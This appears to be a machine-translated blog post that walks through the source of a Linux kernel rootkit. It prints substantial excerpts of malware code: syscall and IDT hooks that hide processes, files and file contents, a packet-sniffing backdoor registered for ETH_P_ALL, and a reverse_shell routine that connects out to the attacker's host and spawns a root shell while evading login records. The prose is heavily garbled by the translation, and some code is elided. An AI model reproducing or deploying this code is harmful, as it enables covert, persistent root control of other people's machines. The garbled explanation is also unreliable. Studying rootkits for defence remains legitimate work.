first , this rootkit It's actually a kernel Trojan , Unlike most Trojans , The machine where the malicious Trojan is located is the client, not the server , And the hacker's machine is a server , The advantage of this is that you can avoid the firewall , General firewalls are not so strict with outgoing packets and strict with incoming packets , If the malware is a server , Then the firewall is likely to block the hacker client process connected to the server, causing the attack to be blocked , Now, the hacker's machine is a server , He first sends the call packet to the client , The client will connect to the server after receiving the call package , This link is not blocked by the firewall , Otherwise, the machines inside the firewall will be greatly restricted . The rootkit The other idea is to use virtual terminals instead of ordinary ones shell How , In this way, you can effectively avoid logging records , stay linux upper utmp and wtmp As long as the user's login record is in charge , command who Just read this utmp File and list the information , But even in utmp It's also mentioned in the official documents of , It doesn't record all users logging in , The key is whether the login program records actively , With this idea , It is difficult for the administrator of the machine where the malicious program is located to find this kernel Trojan , It's hard for them to realize that their machines are under control , As long as it's done, it's all done , Administrators don't realize what they're not going to do , It's natural for attackers to be free for a long time .
The rootkit It mainly uses the way of replacing system call to implement the attack , The purpose of replacing the system call is to hide the process, etc , Although the way is not so seamless , At the very least, it will enable readers to learn some knowledge of assembly , Why not , If you really think it's too earthy , Then please read the following article ,adore It should be close to what you expected , Let's take a look at the code itself , It can be downloaded from many sites , This paper is just a simple analysis :
int init_module(void) // Module initialization function
{
...
lanzar_shell = 0; // This global variable indicates whether to start a shell
atomic_set(&read_activo, 0);
global_ip = 0xffffffff;
...// Get the address of the system call entry , There are many ways
orig_kill = sys_call_table[__NR_kill];
orig_getdents64 = sys_call_table[__NR_getdents64];
orig_getdents = sys_call_table[__NR_getdents];
// Set hook , I.e. replacement
set_idt_handler(s_call);
set_sysenter_handler(sysenter_entry);
// Install the network boot back door
my_pkt.type=htons(ETH_P_ALL);
my_pkt.func=capturar;
dev_add_pack(&my_pkt);
return(0);
}
void cleanup_module(void)// ellipsis
At the end of the module initialization, the network boot back door is installed , It's easy to understand , Hackers usually operate remote machines through the network , Now that it's over the Internet , So there must be a spy like program in the remote machine , This is it. ETH_P_ALL Protocol handler , Just sign up ETH_P_ALL Protocol handler , All incoming packets will be checked and processed by it , Actually, this is linux An underlying mechanism of network protocol stack , After the network card receives the data , To determine what to do above the link layer , The processing logic traverses all registered protocol handlers , Which can handle which , Protocol type in skb We can get , In fact, it is the protocol of parsing the format of data frame to find the fixed offset ,ETH_P_ALL Special , All registered ETH_P_ALL Protocol type processing entities are linked into a linked list , Kernel processing logic will traverse this list , And then let each one ETH_P_ALL To process the received packets , When you've traversed everything ETH_P_ALL After processing entities , The kernel hands over the packet to this skb Real agreement processing entity , actually ETH_P_ALL The type of protocol processing entity is a bypass processing logic , It's going to happen anyway , In the rootkit in , It's this ETH_P_ALL The type of protocol processing entity detects the call of a remote hacker , So that lanzar_shell Set to 1, And then any part of the kernel is detected lanzar_shell by 1, Will start the connection process to connect to the hacker client , In fact, the connection process is a kernel process , Is the kernel process bad ? Of course , Power is unlimited . Then the module initialization above says , stay set_idt_handler It is mainly to replace the system call processing function , So as to realize the control logic of the malicious program itself , It replaces the original processing logic with new_idt, Let's take a look new_idt:
void new_idt(void)
{
ASMIDType // There's nothing to say about this , It's simply changing the original sys_call handle , Jump to hook Make further judgment and balance
(
"cmp %0, %%eax /n"
"jae syscallmala /n"
"jmp hook /n"
"syscallmala: /n"
"jmp dire_exit /n"
: : "i" (NR_syscalls)
);
}
void hook(void)
{
register int eax asm("eax");
switch(eax)
{
case __NR_kill: // The purpose is to prevent killing in the process , The process of killing pid Store a global variable , stay hacked_kill Middle judgment , If it is , Then go straight back
CallHookedSyscall(hacked_kill); // If it is a call kill, So jump to our kill, The following are the same
break;
case __NR_getdents: // The purpose is to hide files , When enumerating files in this directory , If the filename has hidden features , Then skip updating the offset and size at the same time
CallHookedSyscall(hacked_getdents);
break;
case __NR_getdents64: // ditto
CallHookedSyscall(hacked_getdents64);
break;
case __NR_read: // The purpose is to hide specific content in the file , Here's an analysis
CallHookedSyscall(hacked_read);
break;
default:
JmPushRet(dire_call); // The rest of the pass through
break;
}
JmPushRet( after_call );
}
Each protocol type registers a processing entity , such as ip,ppp,can, Or other private agreements , Generally, they are protocols above the link layer , There's a special protocol , It shouldn't be called an agreement , It is ETH_P_ALL, This protocol is mainly used to bypass data ,ETH_P_ALL All packets that pass through the registered interface must be processed by it ,capturar As one of the implementations is :
int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type
*pkt, struct net_device *dev2)
{
unsigned short len;
char buf[256], *p;
int i;
struct iphdr *iph = (struct iphdr*)skb->network_header;
switch(iph->protocol)
{
case 1:
if (skb->pkt_type != PACKET_HOST)
...// Do not process if it is not a host package , Obviously, a host package is needed
...// After all, when the Trojan server calls lanzar_shell Set to 1 To start shell
}
}
Anywhere in the kernel , As long as it detects lanzar_shell yes 1, Start in a new process context reverse_shell, Where to judge ? In the system calls we have intercepted, such as read Middle bar , While understanding how to start a new kernel connection thread, let's also briefly explain the blackout read Execution logic of system call :
asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes)
{
struct file *fichero;
int fput_needed;
ssize_t ret;
if (lanzar_shell == 1) // Execute the kernel thread connecting to the server when appropriate
{
lanzar_shell = 0;
if (!fork()) // Do this in a subprocess
reverse_shell();
}
...
fichero = e_fget_light(fd, &fput_needed);
if (fichero)
{
ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos);
switch(checkear(buf, ret, fichero))
//checkear It's actually a string parsing , ahead vfs_read Got the read string , This function resolves whether there is a string that we need to hide , If so, return 1, without , So back -1
{
case 1:
ret = hide_marcas(buf, ret);
// Because of the vfs_read Data has been copied to user space , So this function actually hides the strings that have been copied to user space and we need to mask , The final job is to cut off the strings that need to be hidden , Change length at the same time , Offset and other information
break;
case -1: // If the string that needs to be hidden is not found , Then do nothing , Perform final exit
break;
...
}
int reverse_shell(void)
{
struct task_struct *ptr = current;
struct sockaddr_in dire;
mm_segment_t old_fs;
unsigned long arg[3];
int soc, tmp_pid, i;
unsigned char tmp;
fd_set s_read;
old_fs = get_fs();
ptr->uid = 0; //root jurisdiction
ptr->euid = 0;
ptr->gid = SGID;
ptr->egid = 0;
arg[0] = AF_INET; // Set socket creation parameters , ellipsis
...
set_fs(KERNEL_DS); // Set the upper limit of safety parameters
ssetmask(~0);
for (i=0; i < 4096; i++)
close(i);
if ((soc = socketcall(SYS_SOCKET, arg)) == -1) // Create socket
...// Error handling , Assume no error
memset((void *) &dire, 0, sizeof(dire));
//dire Of global_port and global_ip stay capturar Assigned in protocol callback function
dire.sin_family = AF_INET;
dire.sin_port = htons((unsigned short) global_port);
dire.sin_addr.s_addr = (unsigned long) global_ip;
arg[0] = soc; // Here three lines of code set connection parameters
arg[1] = (unsigned long) &dire;
arg[2] = (unsigned long) sizeof(dire);
if (socketcall(SYS_CONNECT, arg) == -1) // Connect to server
...// Error handling , Let's assume it's not wrong
epty = get_pty();
// Get a pair of virtual terminals and return a descriptor , The returned descriptor is used by the subprocess , The other uses , Acting as a proxy setter for subprocess descriptors and sockets
set_fs(old_fs);
if (!(tmp_pid = fork())) // Start a in a subprocess shell, See function below
ejecutar_shell();
set_fs(KERNEL_DS);
while(1) // infinite loop , Communicate with the hacker's server
{
...//select Open virtual terminals and sockets
...// If the virtual terminal is readable , Then write the read data to the socket
...// If socket is readable , Then write the unique data to the virtual terminal
} /* fin while */
...// end , Close out processing
}
void ejecutar_shell(void)
{
struct task_struct *ptr = current;
mm_segment_t old_fs;
old_fs = get_fs();
set_fs(KERNEL_DS);
ptr->uid = 0; // That's the point ,root jurisdiction
ptr->euid = 0;
ptr->gid = SGID;
ptr->egid = 0;
dup2(epty, 0); // Redirect standard I / O
dup2(epty, 1);
dup2(epty, 2);
...// Execute after unimportant settings execve
execve(earg[0], (const char **) earg, (const char **) env);
}
Above is the kernel Trojan or rootkit General implementation logic of , The method used is very earthy , But it uses the operating system hacker General method of , this rootkit The implementation of is very clear , It can't be clearer , If you try to compile , It's easy to get an ownership of a remote machine root Of user rights shell. in any case , this rootkit It can only be used for learning , Before today's powerful anti black software , It's easy to detect , So the next one rootkit It will be hard to detect , Because it doesn't black out certain things , It's something uncertain .
Technology
Daily Recommendation